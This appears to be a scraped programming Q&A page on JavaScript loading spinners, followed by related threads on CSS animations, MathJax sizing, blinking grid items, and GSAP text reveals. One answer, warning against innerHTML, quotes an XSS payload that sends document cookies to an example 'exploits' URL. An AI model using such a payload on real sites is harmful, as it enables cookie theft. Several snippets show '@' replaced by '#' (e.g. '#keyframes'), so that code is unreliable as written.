Kinda JS/dev newbie here. Having a play around with a loading spinner - this is the example I'm working from. I've currently got a bunch of JS calculations that are performed on a Flask/SQLite backend API. I'll ignore the CSS as it's likely irrelevant.
document.onreadystatechange = function() {
if (document.readyState !== "complete") {
document.querySelector("main").style.visibility = "hidden";
document.querySelector("#loader").style.visibility = "visible";
} else {
document.querySelector("#loader").style.display = "none";
document.querySelector("main").style.visibility = "visible";
}
};
This in the html:
<main role="main" class="container">
<div id="loader" class="spinner-1"></div>
...content here...
</main>
<script type="text/javascript" src="{{ url_for ('static', filename='scripts/main.js') }}"></script>
The issue is that the JS is still running on DOM load. So the spinner disappears and items are still being added to the DOM via JS. They appear after the spinner disappears, which negates the point of having a spinner!
I've tried several of these methods, but they all work the same.
I thought about having the conditional tied to one of the loading items, but that seems a bit clunky and I'd not be able to repeat the code on other pages on the site. Is there a baked in JS method for doing this properly?
EDIT - some of the JS I'm using
async function recipeGet () {
let response = await fetch('/recipeget/' + recipeId)
let data = await response.json();
return data
};
recipeGet();
async function efficiency () {
let mEfficiency = (await recipeGet()).efficiency;
mEfficiency = mEfficiency / 100
return mEfficiency
}
async function insertEff () {
let eff = await efficiency();
let effElement = document.querySelector('#eff');
effElement.innerText = (((Math.round(abv * 100) / 100 )) + "%");
};
insertEff();
I appreciate this may not be the right way to do things, but I'm still relatively new to developing, and it works currently.
ANSWER:
With the suggestion of the answer below, I managed to implement this:
JS
async function insertEff () {
let eff = await efficiency();
let effElement = document.querySelector('#eff');
effElement.innerText = (((Math.round(abv * 100) / 100 )) + "%");
document.querySelector("#loader").style.display = "none";
document.querySelector("#spins").style.visibility = "visible";
};
HTML
<div id="loader" class="spinner-1"></div>
<div class="tab-content" id="spins">
CSS
#spins {
visibility: hidden;
}
Where spins is the ID of the division I want to hide. It is initially hidden, then unhides when the function is executed. I still have to toy around with the HTML as the spinner jigs around a bit on page load, but that's a relatively trivial problem.
I would maybe change how you're receiving the data on your front end. It seems like you're trying to directly add the data from the back end to the front end using some kind of template.
Instead of doing this, try doing a fetch request from the front end after the page is loaded. That way you get the page much faster, and your spinner will be coordinated with the data you receive, meaning it will only disappear once you have all the data.
Here's an example of an ajax/fetch request:
const API_URL = 'https://opentdb.com/api.php?amount=3'
const dataWrapper = document.querySelector('.data-wrapper')
const spinner = document.querySelector('.spinner')
const data = document.querySelector('.data')
const fetchData = async (URL) => {
try {
const res = await fetch(URL)
const json = await res.json()
// populate data with json
data.innerText = JSON.stringify(json, undefined, 2)
spinner.remove() // or just make display: none; - whatever you need
} catch(err) {
console.log(err.message)
}
}
fetchData(API_URL)
.data-wrapper {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
position: absolute;
width: 100px;
height: 100px;
font-size: 100px;
color: blue;
animation: spin 1s linear infinite;
display: flex;
justify-content: center;
align-items: center;
}
#keyframes spin {
to {
transform: rotate(360deg);
}
}
.data {
background: lightgray;
color: #235789;
font-family: 'Cascadia Code', monospace;
word-break: break-all;
white-space: pre-wrap;
width: 100%;
height: 100%;
overflow-y: scroll;
}
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" integrity="sha512-iBBXm8fW90+nuLcSKlbmrPcLa0OT92xO1BIsZ+ywDWZCvqsWgccV3gFoRBv0z+8dLJgyAHIhR35VZc2oM/gI1w==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<div class="data-wrapper">
<div class="spinner">
<i class="fas fa-spinner"></i>
</div>
<pre class="data"></pre>
</div>
The point is, by doing an ajax call in this way, the line where the spinner gets removed will only be reached and executed once the data is fully received.
window.onload = function() {
setTimeout(() => {
document.querySelector('#loader').style.opacity = '0';
setTimeout(() => {
document.querySelector('#loader').style.display = 'none';
document.querySelector('main').style.visibility = 'visible';
}, 200);
}, 1000);
}
I use this code to make my preloader smooth and hide after 1 second of window onload. Maybe this code will help you.
Related
I have a document with multiple CSS animations and I need to get the total running length that can be seen in chrome dev tools (Animations timeline) as per screenshot
I have thought of a few ways but not sure what's 1. the most accurate and 2. most efficient
PS the CSS animation classes are added dynamically on load so sometimes it maybe longer and other times shorter
FYI I have considered using JS document.getAnimations() to get an array but not sure
where to go from there since they all have similar:
array:
start time and current time
end total value:
I think you can get this using a combination of the animationstart and animationend events. Here's a modified version of MDN's example, here using two different elements that we start the animation on at random times:
const activeElements = new Map();
function handleAnimationStart({target}) {
const now = Date.now();
console.log(`Started on ${target.getAttribute("data-label")} at ${now}`);
activeElements.set(target, now);
}
function handleAnimationEnd({target}) {
const now = Date.now();
const start = activeElements.get(target);
if (typeof start === "number") {
activeElements.delete(target);
console.log(`Ended on ${target.getAttribute("data-label")} at ${now}, duration = ${now - start}`);
}
}
function startAnimation(element) {
element.classList.toggle("active");
element.addEventListener("animationstart", handleAnimationStart);
element.addEventListener("animationend", handleAnimationEnd);
}
const elements = document.querySelectorAll("p.animation");
setTimeout(() => {
startAnimation(elements[0]);
}, Math.floor(Math.random() * 1000));
setTimeout(() => {
startAnimation(elements[1]);
}, Math.floor(Math.random() * 2000));
.container {
height: 3rem;
}
.event-log {
width: 25rem;
height: 2rem;
border: 1px solid black;
margin: 0.2rem;
padding: 0.2rem;
}
.animation.active {
animation-duration: 2s;
animation-name: slidein;
}
#keyframes slidein {
from {
transform: translateX(100%) scaleX(3);
}
to {
transform: translateX(0) scaleX(1);
}
}
<div class="animation-example">
<div class="container">
<p class="animation" data-label="0">You chose a cold night to visit our planet.</p>
</div>
<div class="container">
<p class="animation" data-label="1">You chose a cold night to visit our planet.</p>
</div>
</div>
I am trying to figure out why MathJax render block gives me the wrong height for the div. The code is
<div class="text-field" id='inner-text'>\(\sqrt{b^{a}\frac{\partial y}{\partial x}}\)</div>
with CSS
.text-field {
display: inline-block;
overflow: hidden;
max-width: 15em;
}
When the following JS snippet is run
MathJax.typeset();
let text = document.getElementById("inner-text");
console.log(text.clientHeight,
text.offsetHeight,
text.getBoundingClientRect().height,
window.getComputedStyle(text).getPropertyValue('height'));
The console gives
41 41 41.25 "41.25px"
However, in inspect elements:
The actual height does not agree with any of height options accessible via JS. What is going on and how should can a get an accurate height value?
The problem is that it takes MathJax time to create the visualization. The idea of the solution I made is to give time to MathJax and when it is ready then we take the size of the element.
I made two versions of the code. Both work correctly in Firefox, Chrome, Edge... etc.
Option 1:
The script waits for MathJax to load then gives it another 100ms to complete and then takes the size of the inner-text
var checkEx = setInterval(function () {
let wrap = document.getElementById("inner-text");
var text = wrap.getElementsByClassName('MathJax')[0];
if (text) {
setTimeout(() => {
console.log(wrap.getBoundingClientRect().height, wrap.getBoundingClientRect().width);
}, 100);
clearInterval(checkEx);
}
}, 100);
.text-field {
display: inline-block;
overflow: hidden;
max-width: 15em;
}
<script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax#3/es5/tex-mml-chtml.js"></script>
<div class="text-field" id='inner-text'>\(\sqrt{b^{a}\frac{\partial y}{\partial x}}\)</div>
Option 2
The script waits for MathJax to load then begins to take the size of the element. When the size stops changing... return the size of the inner-text
var elhg;
var elwg;
var checkEx = setInterval(function () {
let wrap = document.getElementById("inner-text");
var text = wrap.getElementsByClassName('MathJax')[0];
if (text) {
elHeight = wrap.getBoundingClientRect().height;
elWidth = wrap.getBoundingClientRect().width;
if (elhg === elHeight && elwg === elWidth) {
console.log(elHeight, elWidth);
clearInterval(checkEx);
}
elhg = elHeight;
elwg = elWidth;
}
}, 100);
.text-field {
display: inline-block;
overflow: hidden;
max-width: 15em;
}
<script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax#3/es5/tex-mml-chtml.js"></script>
<div class="text-field" id='inner-text'>\(\sqrt{b^{a}\frac{\partial y}{\partial x}}\)</div>
I am trying to make a grid where the different boxes will blink based off of a binary value defined within my HTML document. I have created a grid in HTML, where the background colour is automatically green and what I'm trying to achieve is that if my value changes to from 0 to 1 for each of the grid items it will then change the colour to red and blink respectively.
I have managed to get the first one working and thought I could just repeat the code with different variables assigned, however this hasn't worked. The weird thing is, if I remove the code for the first box the second box will start working.
Do I need to add some extra code in JS to separate the if statments?
CSS'
.grid-container {
display: grid;
grid-gap: 50px;
grid-template-columns: auto auto auto;
background-color: grey;
padding: 10px;
}
.grid-item {
background-color: green;
border: 1px solid rgba(0, 0, 0, 0.8);
padding: 50px;
font-size: 30px;
text-align: center;
}
HTML
<div class="grid-container">
<div class="grid-item" id = "blink1">A</div>
<div class="grid-item" id = "blink2">B</div>
</div>
<div class = "values">
<div id = "$box1value"> 1 </div>
<div id = "$box2value"> 1 </div>
</div>
JS
var $box1 = document.getElementById("$box1value").innerHTML;
if ($box1 > 0) {
document.getElementById("blink1").style.backgroundColor = '#ff0000';
// blink "on" state
function show() {
if (document.getElementById)
document.getElementById("blink1").style.visibility = "visible";
}
// blink "off" state
function hide() {
if (document.getElementById)
document.getElementById("blink1").style.visibility = "hidden";
}
for (var i = 900; i < 99999999999; i = i + 900) {
setTimeout("hide()", i);
setTimeout("show()", i + 450);
}
} else {
document.getElementById("blink1").style.backgroundColor = '#098700';
}
/////////////////////next box/////////////////////////////
var $box2 = document.getElementById("$box2value").innerHTML;
if ($box2 > 0) {
document.getElementById("blink2").style.backgroundColor = '#ff0000';// blink "on" state
function show() {
if (document.getElementById)
document.getElementById("blink2").style.visibility = "visible";
}
// blink "off" state
function hide() {
if (document.getElementById)
document.getElementById("blink2").style.visibility = "hidden";
}
for (var i = 900; i < 99999999999999999; i = i + 900) {
setTimeout("hide()", i);
setTimeout("show()", i + 450);
}
} else {
document.getElementById("blink2").style.backgroundColor = '#098700';
}
2 different solutions (all JS vs. mostly CSS)
Keeping the core functionality in JS
Leveraging CSS for core functionality
I see what you're trying to achieve here, and I see a couple of different ways to accomplish this. Both of the solutions below allow your code to dynamically loop through any number of box items— no need to write a separate block for each item.
The first example below is modeled more similar to yours, based on
your code but rewritten to work more dynamically. The second solution
further down greatly simplifies things by moving all initialization
scripting into CSS, leaving JS responsible for only boolean switching
if you need to make any real-time state switches.
#1. Keeping the core functionality in JS
This solution modifies your original code to dynamically read the values for however many values there are, and then looping through them. In order to perform the repeated blinking in JS, I would suggest using setInterval. You'll also need to move that outside the rest of the code when using a loop or you'll end up with a conflict between the loop's iterator and the setInterval's and setTimeout's timing. More on that here. You can see the working example below:
function blink(el) {
if (el.style) {
setInterval(function() {
el.style.visibility = "visible";
setTimeout(function() {
el.style.visibility = "hidden";
}, 450);
}, 900);
}
}
const $boxes = document.querySelectorAll('[id^="blink"]');
for (const $box of $boxes) {
var boxId = $box.id.match(/\d+/)[0]; // store the ID #
if (document.getElementById('$box' + boxId + 'value')) {
var boxValue = parseInt(document.getElementById('$box' + boxId + 'value').innerHTML);
if (boxValue) {
$box.style.backgroundColor = '#ff0000';
blink($box);
} else {
$box.style.backgroundColor = '#098700';
}
}
}
.grid-container {
display: grid;
grid-gap: 50px;
grid-template-columns: auto auto auto;
background-color: grey;
padding: 10px;
}
.grid-item {
background-color: #098700;
border: 1px solid rgba(0, 0, 0, 0.8);
padding: 50px;
font-size: 30px;
text-align: center;
}
.values {
display: none;
}
<div class="grid-container">
<div class="grid-item" id="blink1">A</div>
<div class="grid-item" id="blink2">B</div>
<div class="grid-item" id="blink3">C</div>
</div>
<div class="values">
<div id="$box1value">1</div>
<div id="$box2value">0</div>
<div id="$box3value">1</div>
</div>
CodePen: https://codepen.io/brandonmcconnell/pen/ecc954bad5552962574c080631700932
#2. Leveraging CSS for core functionality
This solution moves all of your JS code (color and animation) to the CSS, moving the binary boolean switch 0/1 to data-attributes on the grid-items themselves instead of separate items and then trigger any boolean switches on those containers using JS by targeting them by another attribute such as ID, or as I used in my example below, another data-attribute I called data-blink-id. This is my recommended solution if you're able to move all of this logic into CSS. It'll be much easier to maintain and to manipulate in real-time, as all it requires to change state is a simple boolean switch.
.grid-container {
display: grid;
grid-gap: 50px;
grid-template-columns: auto auto auto;
background-color: grey;
padding: 10px;
}
.grid-item {
background-color: #098700;
border: 1px solid rgba(0, 0, 0, 0.8);
padding: 50px;
font-size: 30px;
text-align: center;
}
.grid-item[data-blink-status="1"] {
background-color: #f00;
animation: blink 900ms linear infinite forwards;
}
#keyframes blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
<div class="grid-container">
<div class="grid-item" data-blink-id="1" data-blink-status="1">A</div>
<div class="grid-item" data-blink-id="2" data-blink-status="0">B</div>
<div class="grid-item" data-blink-id="3" data-blink-status="1">C</div>
</div>
CodePen: https://codepen.io/brandonmcconnell/pen/5b4f3090b3590902b11d50af43361758
To trigger the binary boolean switch on an item (turn ON/OFF), use the below JS command. I've commented this out in the CodePen example linked above. Un-comment this JS line to activate it and switch ON the block with data-blink-id=2
document.querySelector('[data-blink-id="2"]').setAttribute('data-blink-status', 1);
Even though your functions are declared inside if statements, they are still global.
So, you essentially redeclare the show and hide functions, and they stop working.
To make those functions local to the if statement, you'll have to use one of the ES6 block scope declarations, let or const, like this:
const show = function(){ ... }
const hide = function(){ ... }
To do this, you should also replace setTimeout's first argument with a reference to the function (actually, you should always do that):
setTimeout(hide, i)
setTimeout(show, i + 450)
Other improvements you can make:
Avoid that loop that sets timeouts. It's ugly, takes long to execute, and doesn't work forever. Instead, replace setTimeouts with setIntervals.
Remove the if (document.getElementById) part. You can count on it to be defined (it has been around for a loooong time...)
So, you get to:
var $box1 = document.getElementById("$box1value").innerHTML;
if ($box1 > 0) {
document.getElementById("blink1").style.backgroundColor = '#ff0000';// blink "on" state
const show = function () {
document.getElementById("blink1").style.visibility = "visible";
}
// blink "off" state
const hide = function () {
document.getElementById("blink1").style.visibility = "hidden";
}
let flag = false //This is needed to keep track if the element is visible
setInterval(function(){
if(flag = !flag)
hide()
else
show()
}, 450);
} else {
document.getElementById("blink1").style.backgroundColor = '#098700';
}
/////////////////////next box/////////////////////////////
var $box2 = document.getElementById("$box2value").innerHTML;
if ($box2 > 0) {
document.getElementById("blink2").style.backgroundColor = '#ff0000';// blink "on" state
const show = function () {
document.getElementById("blink2").style.visibility = "visible";
}
// blink "off" state
const hide = function () {
document.getElementById("blink2").style.visibility = "hidden";
}
let flag = false //This is needed to keep track if the element is visible
setInterval(function(){
if(flag = !flag)
hide()
else
show()
}, 450);
} else {
document.getElementById("blink2").style.backgroundColor = '#098700';
}
I have very little experience in coding in general. But I've somehow managed to get this far with this, and I'm stuck on the very last thing.
This is for a Twitch alert, I'm doing this through 'Stream Elements'
The thing I'm having issues with is stopping the sound once the typing letters have fully appeared, I have no idea how to do this. Is it even possible?
I Forgot to mention, the Typekit links are intentionally broken, as I didn't want to share the link (Since I'm assuming they're all unique and based off your adobe account)
$(document).ready(function() {
var timer, fullText, currentOffset, onComplete, hearbeat = document.getElementById('heartbeat');
heartbeat.play();
function Speak(person, text, callback) {
$("#usernamean-container").html(person);
fullText = text;
currentOffset = 0;
onComplete = callback;
timer = setInterval(onTick, 120
);
}
function onTick() {
currentOffset++;
if (currentOffset == fullText.length) {
complete();
return;
}
var text = fullText.substring(0, currentOffset);
$("#message").html(text);
}
function complete() {
clearInterval(timer);
timer = null;
$("#message").html(fullText);
onComplete()
;
}
$(".box").click(function () {
complete();
});
Speak("{{name}}",
"{{name}} Is now a Witness",
)
//get data from the 🤟 StreamElements 🤟 data injection
const name = '{{name}}';
// vanilla es6 query selection (can use libraries and frameworks too)
const userNameContainer = document.querySelector('#username-container');
// change the inner html to animate it 🤪
userNameContainer.innerHTML = stringToAnimatedHTML(name, animation);
/**
* return an html, with animation
* #param s: the text
* #param anim: the animation to use on the text
* #returns {string}
*/
function stringToAnimatedHTML(s, anim) {
let stringAsArray = s.split('');
stringAsArray = stringAsArray.map((letter) => {
return `<span class="animated-letter ${anim}">${letter}</span>`
});
return stringAsArray.join('');
}
heartbeat.pause();
heartbeat.currentTime = 0;
});
#import url(#import url("https://use.typekit.net/.css");
.awsome-text-container {
font-family: typeka, sans-serif;
font-size: 42px;
font-weight: 400;
}
.image-container {
margin: auto;
display: table;
}
.text-container {
font-family: typeka, sans-serif;
font-size: 26px;
color: rgb(204, 10, 33);
text-align: center;
margin: auto;
text-shadow: rgba(0, 0, 0, 0.5) 1px 1px 1px;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<div id="heart" class="heart">
<audio id="heartbeat" src="https://cdn.discordapp.com/attachments/135995830279733248/733547597305741332/typewriters.mp3" preload="auto"></audio>
<link rel="stylesheet" href="https://use.typekit.net/.css">
<div class="text-container">
<div class="image-container">
<img src="https://media.tenor.com/images/83d6a5ed40a24164dfe1e4e19fad23d9/tenor.gif">
</div>
<div>
<div class="awsome-text-container">
<span id="message"></span>
<br>
</div>
</div>
</div>
Hello and welcome to Stack Overflow!
I have seen messier code and was therefor disappointed ;-). Regarding your question:
Main problem would be that you have a typo in your code and you call the heartbeat.pause(); in the complete method and not at the end of script (as this would be called independently of the completion of the animation).
Typo:
hearbeat = document.getElementById('heartbeat');
Changed method:
function complete() {
clearInterval(timer);
timer = null;
$("#message").html(fullText);
heartbeat.pause();
heartbeat.currentTime = 0;
}
and remove the lines from the bottom of your script.
I am using IntersectionObserver to animate every h1 on scroll.
The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1 needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target. That's not what I want.
I tried to remove the anim-text class before and after unobserving the entry.target, but it didn't work.
I think the problem is in the forEach loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.
Thanks in advance for your help!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.
You had an if (...) { return } else ..., which doesn't need an else scoping: either the function returns, or we just keep going.
Rather than checking for "not intersecting" and then returning, instead check for insersecting and then run.
You're using string composition using +: stop using that and start using modern templating strings. So instead of "a" + b + "c", you use `a${b}c`. No more +, no more bugs relating to string composition.
You're using .innerHTML assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)"> or something. Never use innerHTML, use the normal DOM functions (createElement, appendChild, etc).
You were using a lot of const thing = arrow function without any need for this preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs)
When using an observer, unobserver before you run the code that needs to kick in for an observed entry, especially if you're running more than a few lines of code. It's not fool proof, but does make it far less likely your entry kicks in a second time when people quicly swipe or scroll across your element.
And finally, of course, the reason your code didn't work: you were selecting all .anim-text span elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id and then query select using #headingid span instead.
However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string => into the single glyph ⇒ (like several programming fonts do) then your code will do rather the wrong thing.
But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.
So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>